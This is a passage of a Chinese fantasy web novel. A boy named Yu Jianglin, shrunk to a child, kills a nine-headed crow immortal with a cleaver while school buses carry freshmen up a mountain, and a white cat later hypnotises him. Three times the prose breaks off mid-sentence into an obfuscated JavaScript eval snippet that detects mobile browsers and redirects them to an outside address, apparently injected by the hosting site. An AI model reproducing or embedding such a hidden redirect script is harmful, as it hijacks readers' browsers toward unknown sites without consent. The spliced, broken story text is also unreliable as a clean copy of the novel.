那敌人突然就消失了,天空上重新出现了九轮太阳。队伍内伤亡过重,他们本想先把昏迷的伤员安置好躲雨——但这成群结队的校车是要做什么?郊游么? 车队停了下来,谢金便先招呼众人上车。 谢金坐上了排头的校车副驾驶,又把背上昏迷的家伙放下来。似乎是嫌挤,他拍了拍对方的脑袋,把对方拍回本体猫咪样子,这才转头看向司机:“常叔,您怎么来了?” 被唤作常叔的司机回答:“不是你们让我来的么?” “……什么?” “小虞给我发了条消息,说是下雨了,让我带着弟兄们来接你们上山。”常叔递来手机,那屏幕上赫然显示着不久前的新鲜消息。 “‘小虞’?”谢金揉了揉太阳穴,战斗时难得清醒的大脑,在脱战之后又变回迷迷糊糊。他勉强想起来了小虞是谁。哦,就是戚缘最近黏得很紧的一个人类。似乎是,又似乎不是…… 他一时半会儿想不起来太多东西,但眼见着这车越跑越快,他们距离那山巅越来越近。他猛地一惊,从座位上转过大半身子,几乎要抢了那方向盘。 “常叔?我们这是要去哪?!” “还能去哪里,抄近路上山呀。” “不,等等,这军训还没结束,这后面那一车车的新生怎么办?” “什么怎么办,当然是一起上山了,难不成还能丢下他们?” “……您的意思是,这整整九百人,后面什么关卡都不用闯,直接就坐车通过军训了?全员通关?!” 谢金觉得常叔疯了。不,疯了的不是常叔,校园里唯一的疯子另有其人。他想象了下若是真全员通关无一人退学,某个疯子发癫又发火的样子,顿时觉得屁股下坐着的不是校车,而是辆灵车,一辆把他送上死路的灵车。前几日被某个疯子追着揍的痛感还新鲜得紧,不过当时是为什么被揍来着?想不起来了…… 比起在风中凌乱的谢金,常叔倒是显得镇定多了,他打着方向盘,一点没有刹车的意思,指点道:“错了,不是我的意思,是小虞同学的意思。小虞同学的意思,不就是戚缘那小子的意思么?” 谢金张了张嘴,下意识想要反驳这当中的逻辑,又闭上。 好一会儿,似乎终于悟出这里头的门道,才重重点头说:“……没错,就是这么个意思。” . “宋林”哈哈大笑着,这浮海的自助餐可比外头吃起来畅快多了,连“开盖”都不用,入口即化!不枉他花了那么大代价,才找着这进入的法子。 他笑着笑着,一颗脑袋突兀地就掉到了地上,剩下八颗脑袋同一时间噤声。八位仁兄面面相觑,又不约而同地看向地上那颗脑袋。 那掉落的脑袋仍在笑,只是笑着笑着忽然回过味来了,发觉哪里不大对劲:“哎呦,我怎么下来了,哎,不对……” 话说到一半,便噗嗤爆汁,一把大菜刀横贯面中央,头颅裂成两半。 刀把上系着根红绳,飘带似的,是先前扎营所剩的绳子,另一端缠到了虞江临手腕上。他腕间灵巧一扭,深入头骨的菜刀便飞回来,稳稳落到他手心。 这次轮到虞江临轻声笑了两下说:“真能砍下来。” “宋林”剩下的八个脑袋阴沉沉问:“这么说,你是不打算与我谈判了?” 虞江临歪了歪脑袋:“你要是轻轻松松就能解决我,想必是不会与我废话至此的,对吧?” “宋林”的脸更沉了。 虞江临握着大菜刀,像个最冷静的猎手一般,继续专心观察着那剩余的八颗脑袋,在里头找着什么…… 他心里面只分出一小半心神思索着:看来猜对了……嗯?不对! 几乎是在第一时间,虞江临便发现了那八张脑袋细微的神态变化。他立即萌生出一阵危机预感,想要朝旁躲开。 瞬间,就在那电光火石常人无法分辨的下一刻,他半个身子被自上而下一道力量冲散!那不是任何的武器,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780046|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是任何的法术,是最纯粹的力量释放,从天而降。 虞江临半个身子都被击溃,如同被冲散的一团雾,毫无阻挡之力,留不下丝毫。若不是躲避及时,这半个身子恐怕都不会留下。他一时间瞳孔溃散,破破烂烂的身体被那冲击波狠狠撞到了树上,又顺着树皮无力滑下,瘫坐在地。 “唔……”刹那间灵魂被吞噬大半的滋味并不好受,常人大多会在巨大的精神痛苦中当场失去神智,从此浑浑噩噩。 虞江临却仿佛习惯了这种罕见的痛苦。他茫然眨着剩下的一只眼睛,很快便恢复视野的清晰。他抬头望向攻击所来的方向,那是高天之上的赤红九日阵。九轮太阳徐徐旋转着,太阳中隐隐有大片的黑斑晃动。 ——他终于看清了,那是一群群黑鸟在里面飞。 “你……”虞江临艰难地突出一个音节,他感觉自己好似在融化。不,他真的在融化…… “你果然有问题!”那边的“宋林”接过他的话头说,眼睛里露出精光,咧嘴露出一对尖牙,“你根本没有记忆!哈,亏我还一直试探你,竟敢唬我。” 说着说着,这人又好似精神失常一般,朝地上某处空气皱眉看了眼,不耐烦道:“切,这家伙怎么又暴走了?心疼了么……” 与此同时,高天上的九日阵再度降下火柱。这回却不是朝这边袭来,而直奔着山的另一头。比方才的威势更大,那冲天的火光,足以覆盖整座山峦!毁山灭地的力量,正降临于山的那头,降临于不知何人之上。 虞江临怔怔望着遥远的火光,心里闪过一丝莫名的酸痛。 他听到那“宋林”低声嘟哝着:“这回总死干净了吧……” 他蜷缩着手指,缓缓将手伸进了口袋里,冰冷而僵硬的手碰上那枚断裂的猫咪手链,却无力握住……幸好,刚才躲避的瞬间,这手链没被毁掉。 虞江临觉得很累,整个身体如同一块融化的冰糕那般,他觉得自己正在消融。那嘈杂的乌鸦仍在叫。 “同样的话奉还给你!要是当年那个老怪物在此,我可不会还有机会说这些话,呵呵。虞江临,我猜……你如今连‘生死簿’是什么都不知道,对么?” 虞江临觉得自己在缩水……不,那不是幻觉,他真的在缩水。 他的视野在降低,他的身体在变小,他的体力在逐渐恢复……他紧紧握住了那根猫咪手链。 “我当你虞江临如何厉害呢,到头来不过是一缕残魂罢了。如今卑如草芥,连那凡人也不如。怪不得那只八尾如此看护你,生怕你伤着了……虞江临,他们都说你当初如何骇人,我倒要瞧瞧……咦?” 就连聒噪的乌鸦也停下了声响。八只脑袋瞪大了眼睛,望着眼前大变活人的一幕。方才只剩下半边身子的虞江临消失了,取而代之的是一副缩水的完好身体——那分明是一个孩子。 那孩子外表看上去只有七八岁的样子,粉雕玉琢,墨发垂地。冷白色的一张脸上,一双琥珀瞳变得更浅,更剔透,更……形似金瞳。那不知什么材料做成的宽大外套,竟然在方才的冲击波下没有销毁,完好无损。 黑发的孩子缓缓站了起来,只赤身裹着那灰白的外套,一双手都藏在了袖子里,下摆垂至小腿肚,露出不着鞋袜的足,像是偷穿了大人的衣服。 “……哦,打回幼年期了?”“宋林”很快反应过来,对他们而言,这种事情见怪不怪。 幼年期的虞江临冷冷开口:“九颗头,九轮太阳;你是‘九凤’,也是‘九日金乌’……原来如此,你走了两条道。” “……看来你也不是一点东西都不记得。人变小了,脑袋变聪明了嘛。”被说穿跟脚,“宋林”压下不悦,装出一副不在乎的样子。 虞江临面无表情继续说:“既走两条道……你道心不稳,心性不坚。” “你算个什么东西,敢来教育我了?!”被戳上心里最记恨的那颗疙瘩,“宋林”终于忍不住怒了。 他豁的一声撕开了那人类的皮囊,斑驳鸟羽潮水般从瘦小的躯壳中涌出,仿佛无穷无尽地直往外溢。转瞬间,整片林子都被鸟羽所拥挤。九颗大如楼栋的鸟头从皮囊中钻出,九双血瞳急急滚动,仿佛将要炸裂。 什么小心谨慎,什么分身试险……“宋林”此刻什么都不在乎了,他只想以真身降临,叫这虞江临看看,他是如何以双道登临九重境,如今又是如何将那昔日皎皎之月——斩落! 伴随着一阵雷鸣般震颤的惊悚鸮叫,有着邪狞花纹的庞然猫头鹰自林中飞出,它带来的风波掀翻了一排排林木,掀得那一辆辆将要登顶的明黄校车也赶紧刹车避让。 同一时刻,那高天之上的九日阵停止了转动,九轮太阳整整齐齐固定,被太阳们所环绕着的阵法中心同样钻出来一只巨大的猫头鹰。它自出现,那九轮太阳便乖顺浮于翅后。 林中的九头猫头鹰向上飞,天空的九日猫头鹰向下俯冲。 当它们冲到一起,两相融合,天地变色。 黑沉沉的天空上裂开密密麻麻无数狰狞的缝隙,如同发丝如同霉斑如同蛆虫,扭曲着蠕动着,向外吐出一根根漆黑的触手。那触手仿若活物,饥饿地便抓起触及到的任何东西吞吃起来。 不可名状之物降临于此,它睁开九双血瞳,便是九轮太阳挂在天幕。 世人所求长生不老,法力无边。 谓之——仙。 20.仙 虞江临仰面望着那天空上巨大无比、扭曲无比的不可名状之物。 那柄刀仍紧紧握在他手上。身体缩水后,大刀干脆直接沉沉拖地,刀尖抵入泥地。这是他唯一的武器,既非奇珍异宝,也非能工巧匠所制。那仅仅是把菜刀,但着实坚固,对虞江临而言已足够。 他手持它,斗战神般站立于黑风呼号之中,眼中不曾有惧意。 那双极浅极清的眼瞳,心无旁骛盯着天上九只血瞳。他在观察猎物,他是对那些“东西”最好的猎手,他曾亲手斩下数不尽的“它们”。 “它们”是谁? “它们”是仙,是那世人所求长生不老、法力无边的仙。 空间仿佛骤然被扭曲,孩子般稚嫩的身躯被那黑风所撕扯。遭受重伤后自发跌入幼年期的灵体,再度受损,数不清的伤口攀附上他的躯壳。 从苍穹裂口中伸出的海水般的触手,疯狂向他袭来。他手持菜刀而立,挥手凭本能斩断,却连视线都未动摇分毫。 他仍在观察。作为最专业的猎手,谨慎观察着它的运动。 漫长的岁月给予他无尽的记忆,无尽的记忆中某些刻入本能的知识于危机关头激发。他看到那九日凌空之景,见那九头之鸟身,便知它的身份。 昔年神鸟,谓之金乌,栖扶桑,居日中。神鸟驾日车,其数有十,十日当空,炙焚大地,苍生涂炭。先人名羿,引箭射之,九日落地,天下归安,遂立地功德加身,一步证道登仙。* 上古先人得证大道,便留仙缘于此地。后世间禽鸟羽类若要求仙,便可借此缘,寻此道,修九日。九日加身,九重境圆满,从此证道成仙。 昔年神鸟,谓之九凤,人面鸟身,九首聚顶。神鸟居大荒,原为十首,天狗食之其一,从此其九有头,其一无而日夜滴血,血引灾咎。* 世间禽鸟羽类亦可寻此缘,修九首,登九重境,便为九凤仙。 ——同修两道,以两道之力强登九重之境,则道不稳,心不定。 “找到了。”虞江临呢喃自语,突然弯腰以刀尖挑起那先前砍下的头颅。那头已失去原本面貌,脱离人类皮囊,凝成一团不可名状之物。 虞江临触碰上那团“东西”,那“东西”便渐渐安静下来,逐渐成形。他把手伸进去随意一搅拌,终于抓出来一根“金色线条”。他把这“金线”缠绕上菜刀的刀面,原本平平无奇的银灰菜刀,登时金光闪烁,如同神器。 虞江临半眯着眼,静静盯住天上不断运动着的其中一只眼瞳,便将菜刀朝上而掷。缠绕上“金线”的菜刀仿佛生有羽翼,精准朝那眼瞳飞去。 菜刀一直飞,一直飞,越来越快,越来越快—— 它轻轻敲上了那湖泊般广阔的眼瞳,便如一粒石子投入深湖中。 ——湖水被石子敲碎了。 . 它是一只乌鸦,一只修炼成仙的乌鸦。 世间万物若要成仙,便要修道。修何道?修那先人成仙所成之道。效仿先人,走其来路,寻其所留仙缘。 仙缘,天命,气运,福泽……总之就是这么一类的事物。可庇万世风调雨顺,千秋万载海晏河清,变蛮荒为沃土,使枯树生新芽,化白骨炼活肉——他们要争的就是这样的东西。 所谓修仙,便是夺这世间的仙缘。修仙者一步步向上而攀,三重境脱离凡俗,六重境呼风唤雨,八重境便为半步仙人,九重境则一步登仙。 从此长生不老,法力无边。 它是一只乌鸦,一只鸟。曾在它面前有两条修仙路可走,它毫不犹豫选择了两条。因同时修两条道,吃两路的“缘”,它走得比许多修仙者更快,短短一千年,便修炼成仙。 如今它落了下来,以本体乌鸦之姿倒在虞江临脚前,战斗连几分钟都没有,转瞬即逝……不,怎么可能?发生了什么?! “呵,短短一千年,就修炼成仙了……” 它茫茫然又震惊,耳边听到孩童稚嫩的声音。 “道心不稳,心性不坚……如今真是什么人都敢来成仙了。” 那孩子清亮的声音仍很淡,便显得话语中轻蔑而嘲讽的语调更浓。 它不可置信地抬起鸟头,发觉不是它的错觉。它真的被打回了原形,甚至打出来了幼年体,变成一只秃顶的干瘪乌鸦,被一柄菜刀插在地上。那菜刀映着孩童的脸,它从中看见了一双浅浅的琥珀瞳——不是金色的,一只都不是。 “不可能……不可能!你如今根本没有恢复力量……你没有九重境,连八重境都没恢复……你怎么可能杀得了我?!幻术……这是幻术!”它刺耳地叫了起来。 孩子蹲了下来,如瀑的墨发垂在脸侧,明明没有什么表情,乌鸦却感到一阵森然。 它意识到虞江临在它的身体里翻找着什么。 “你在……做什么?”一双金色的鸟眼恐惧着,一只鸟椽半张着。 “做你们最熟悉的事情。”孩子露出一份大大的笑。 它蓦地不动了,僵硬住,在反应过来后终于又比方才更为剧烈地、凄惨又悲怆地挣扎起来。可那虞江临却用那菜刀轻而易举地将它固定,令它不得翻身。 “不、不要……我修炼了一千年、一千年才……” 孩子默默望着眼前的乌鸦,听着它求饶,又慢慢从口袋里拿出一根手链,白猫黑绳,却是断了。他小心地捧着它,像是担心捏坏了。 “是你把它弄坏了,对吧?” 乌鸦认出了那根手链,是那只该死的八尾放到这虞江临身上的守命符——它亲自触发的。它心里一凉,那孩子的声音又幽幽响起。 “小乌鸦为什么要弄坏我的东西?那是属于我的。” “不、不……我没有……我没有想过要伤害那只猫……我只是冲您而来的……我被迫才伤了……”乌鸦自己都觉荒谬,它未曾想过未来有一日,自己竟像条别人案板上的鱼一般,疯狂认罪自己只想伤人,不想伤人的猫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785053|157064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那孩子不再说话,把手链放回了口袋,又埋头从它身体里挑拣起来。 乌鸦开始后悔,后悔自己竟然以真身降临被虞江临捉住,后悔它轻易地就露出来自己弱点——哪怕这只鸟如今仍不清楚,自己的弱点究竟是何物又在哪里,为何虞江临三两下便将它解决,如同老练屠户解剖肉块。 它看见虞江临的手从它灵体里撕扯出来一团团“金线”,其中参杂有许许多多的“黑线”,那灵巧的手便耐心地将“金线”从“黑线”中分开。黑线留下,只取金线而出。 它感到越来越虚弱,灵魂一阵空虚,巨大的精神痛楚笼罩住浑身,它恍然觉得自己是一只被扣入杯中即将窒息的鸟。 它只能胡乱地以最后的理智,继续求虞江临放它一马:“大人,大人……我曾听说您的事迹……您从来不屑于吞食仙缘,更厌恶同类相食……” 虞江临动作一顿:“是么……” 它看见孩子歪着脑袋做出思考的样子,心中刚是一喜,以为可侥幸逃脱,却听到孩子勾起嘴角笑得更深。 “很抱歉,这些我都忘了,我真是不记得以前的事情了。”孩子露出淡淡歉意的神情,声音又陡然变得欢快,“但看到你,我就知道该如何杀了你,又要如何完美‘吃’掉……你看。” 孩子从乌鸦的灵体中掏出一大团金线,两只手捧着都还有余,递到乌鸦面前,仿佛剖了人的身体又叫受害者自己来看。干净的脸蛋天真又残忍地笑着,在乌鸦眼中仿若恶鬼。 乌鸦其中一只眼睛失去了金色,它已掉入半仙,八重境之身。 它凄惨地颤悠悠地叫着,千年功力毁于一旦。 ——那恶鬼般的孩子却突然软软倒在了地上。 一双眼睛仍睁着,逐渐露出困惑之意,似乎他自己也不明白自己为何倒下。 乌鸦同样不明白,但乌鸦知道这是它的机会。 它猛烈地挣扎起来,撕开被那菜刀定住的灵体,残破地飞了出去。它连那团“金线”都没要,拼了命地只想要逃出去。 它飞得很快,很快,不一会儿便把那恶鬼丢在了身后,它飞到了海面之上。出口就在前方,它惊惧的一颗心终于渐渐安定下来。 稍微冷静思考,便能很快意识到自己遭受了欺骗。给它消息的那人骗了它,把它骗来这里。而它竟然轻易地就以真身降临,阴沟里翻船,失了大半仙缘…… 这浮海就是一块伪装成肥肉的诱饵!那虞江临分明没死透,以不知什么样的姿态仍旧活着……那只怎么也弄不死的八尾猫同样很是古怪……难不成…… 它隐隐约约地似乎要明白过来什么,可还未思考清楚,便被一片巨大的阴影笼罩。它猛地停下,仿佛是看见什么可怕的、惊悚的一幕,它尖叫了一声,将要打转飞回去,可那叫声甚至只挤出来一半,整只鸟便被那庞大的影子吞了下去。 乌鸦死了。 死前只听到一声空洞的轻笑,便再无法将这浮海的消息传递出去。 21.催眠 当仙被斩落,天上九轮血瞳悉数退散,密密麻麻的窟窿与其间汹涌钻出的触手一并蒸发。雨过天晴,那枚独一无二的金色太阳再度高悬天际,清冷注视着大地。 此时已是第二日清晨,斑斓的日光倾斜到那一队徐徐爬山的明黄色小车。车上载了满满当当的人与猫,许多睡了许多昏迷,仅少数人仍睁着眼睛趴在车边栏杆上,无言仰视那云开雾散、风轻云淡的黎明。 他们终于抵达了山巅。 山上无它物,仅一排排奇形怪状、高耸入云的“白树”伫立。那些“树”似是石灰又像是白骨,构成一座迷离的苍白树林。林间弥漫着浓厚雾气,如雪如雨,原来这山中白雾皆是从此而出。 车上人渐渐醒了,他们爬起身,迷迷茫茫地走出车子,同样站到人群里,沉默而敬畏地望着那连绵起伏的苍白色。 如果那是“树”,该是耗费多少岁月方能长出这云海般的树林?若那是“骨”,又该是怎样的庞然巨物陨落,才会遗留下如此震人心魄的残骸? 苍白树海之上,是太阳。如玉如佩的太阳此刻离他们如此之近,好似天空的一只眼,垂眸望着他们。他们开始感到灵魂的轻盈,好似身体在向上飞,最后那点沉重的、不甘与愤恨的气焰,也终于在太阳的注视下,消散于苍白的林。 猫咪们无声地开始了工作。这里的猫大多是体育部的成员,它们一部分开始检查新生们的腰带——自然是以学长学姐的身份,至于为何山上突然冒出来这样多的学生学姐,目光清澈的新生们一如既往没有深思。另一部分则开始为同伴疗伤,这同样是体育部的职责。 “还缺了一人。”一名学姐说。 “谁?” “这个……”她指着名册上一人划上圈,名字的地方赫然是“宋林”二字,“纪律部方才发来消息,监控恢复了,前几日闯门禁的学生同样是他。” “……这是他违纪所付出的代价,节哀。那么这次军训,我们便足足有八百九十九人……” “等一下。”身后校车上传来一道厚重的声音,吸引交谈的几人望过去。 只见常叔,校车师傅里最有威望的那位“老大哥”,正噗噗发动起校车,又朝车窗外招了招手:“别那么快下结论。刚又收到条消息,让我去山腰接个同学上来……说不定这次会是整整九百人呢。” 学生们面面相觑。 好一会儿才有人出声:“上届新生军训刷了多少人下去来着?” “……似乎只留了三分之一?” . 虞江临躺在空地上,同方才倒下时的姿势没有差别,他甚至连爬起来的力气也没有了。毕竟是被打回了幼年期,灵体严重受损。 他想他快死了,原来这就是濒死的感觉。好像不是第一次死亡,好像已经死过一次……好像死过不止一次。 好像,好像,似乎总是好像,究竟什么才是确切的,什么又才是真的?虞江临不知道。不知自己是谁,不知自己从何而来,又该去往何方。不知因何而死,不知为何而活。茫然无知中,就要死了。 虞江临平静地要接受“死亡”之时,他余光瞥见了一抹人影。那人同他一样倒着,生死不明地倒着。他吃力地转动起思维,想起来是那“宋林”。 不是那扭曲而邪恶的“仙”,而是原本的被夺走了躯壳的新生“宋林”,一个本该入学之后平平静静度过军训的孩子。那具躯壳失去了“寄生者”,已是破烂而残缺,不成人形,周身环绕着团团雾气。那些白雾正“治愈”着他,但速度太慢,将赶不及登山。 虞江临仍旧觉得那雾气十分的熟悉,可即便他被重创至此,那些熟悉的“雾”却从始至终不曾接近,仿佛他并不被视作“学生”的一份子。 虞江临轻轻闭上了眼。深吸一口气,再度睁眼,他努力积攒起力量,捡起衣袋中的手机,发出一条消息。 ——这里还有个学生,请来接他上山。这是定位,感谢。 这点动作仿佛消耗了他仅剩的体力,虞江临沉沉地闭上眼。 . 不知过了多久,虞江临突兀惊醒——自己竟还未死,他仍在原地。 来不及多做思考,本也已做不出什么思考,他警惕而防备地捏紧掌心,神经紧绷。这是遇到强敌的本能,浑浑噩噩中他“嗅”到了极具威胁的气味,比那不成气候的乌鸦要危险得多…… 他仍蜷缩在地上,冰冷的身体裹着那灰白的温暖外套。浑身无力,只睁着双冰冷的眼,盯着危险迫近的方向。原始的厮杀本能作祟,即便连爪子都伸不出,他也定会在临死前咬断敌人的脖子……一只不剩多少理智的小兽凶恶地想。 一步,两步……来了。 林间无声走出一人,那人浑身雪白又掺着触目惊心的血,如同雪人,如同血人。似乎刚经历了什么残酷的厮杀,身上几乎没有完好的一片,连头顶那对柔软的耳朵,都凄惨地垂下一只,看起来疼极了。 那人把湿漉漉的、忧伤的蓝眼睛看过来,蜷缩于地的孩子则回以冰冷、警告的一瞪。 来者僵硬了一瞬,好似被这冷漠的眼神弄得很是受伤。雪白的人影停下脚步,沉默了好一会儿,才慢慢地、慢慢地缩水下去。 ——变成了一只雪白的负伤的猫。 濒死的幼兽终于收起那凶巴巴的眼神,他茫然望着那小小的雪团子。好似在哪里见过,有么?还是没有?这样的小东西他一口就可以吞下,是么?不是么? 他感到一阵错乱,错乱间小小的白猫试探着往前踏了几步,见孩子不再投来那样令猫伤心的目光,才继续一瘸一拐地靠近。 猫走得极慢,毕竟它身上受了这样重的伤,再如何被心疼地抱起来都是应该的——可孩子只是审视着它,仿佛只要它稍微露出一丝强硬姿态,便会被孩子掐住脖子。 小小的负伤的猫终于窝到了小小的负伤的孩子的颈窝里。它把自己一条毛绒的大尾巴都紧贴上孩子的肌肤,然后轻轻舔了舔对方的下巴,小心望着那双垂下的眼。像是讨好,像是观察,又像是勾引。 也许是眼前的小猫实在招人心疼,也许那小猫温暖的气息令孩子产生了一丝若有若无的熟悉……也许小孩真的只是很喜欢小猫而已。年幼的孩子慢慢地张开手,抚摸上猫咪的脑袋。 猫咪眯起眼睛,蹭了蹭它期盼已久的掌心,发出舒服的呼噜声。 孩子看着白猫背毛间鲜血淋漓的伤,混沌间他终于想起来一件事,那是一件极为重要的事。 他去斩了那只乌鸦,因为那只乌鸦弄坏了他的东西,弄坏了只属于他的小白猫;他从乌鸦身体里抽出来了许多的“金线”,这些“金线”可以缝补好他受伤的小猫。 虚弱的孩子艰难地从怀中取出他紧紧护着的那团“金线”,金线自他掌心凝聚成一颗金色的“糖果”。他把这金色的糖果捏到猫的嘴前,强迫对方吃下。 看起来乖顺无比的猫咪,却在此刻紧紧闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞江临听到上方传来颤抖的呻|吟,他下意识指尖颤了颤,目光松动。 那可怜又哀伤的深蓝眼睛于是捉住了这机会,纠缠着又望过来,再度与他对视,再度光明正大地、很有胆子地当场催眠。 “好疼……”孩子边强硬施法,边哀伤地叫痛,像是撒娇。血从那人嘴角溢出,淌过指缝,滴落到虞江临唇间。 “……” 这一次,虞江临没有第一时间反抗。 ——只需这一刻的心软。 催眠结束。 某个家伙静静收起那可怜兮兮的模样,他站起身,变回如今高挑的身形,那是过去的虞江临所陌生的形象。他抱着昏睡的孩子,缓缓离去——倒是看不出丝毫受伤的痕迹。 . 虞江临又落入了那无光的海底。 这是独属于他的记忆,是那无垠流淌着的灿烂又悲壮的滚滚历史。繁华盛大的已故波澜中,虞江临于意识的最后沉浮里,捕捉到一抹小小的浪花,那是一个极为平凡的午后,日光和煦,春风微醺。 【哎呀,又失败了。小缘的幻术看来还差很远呀。】 【……世上没人能把您弄晕,除非您自己愿意。】 【我怎么会不愿意呢?你瞧,我可没有反抗哦。】 【不是这种……我要的是您心甘情愿,任我摆布。】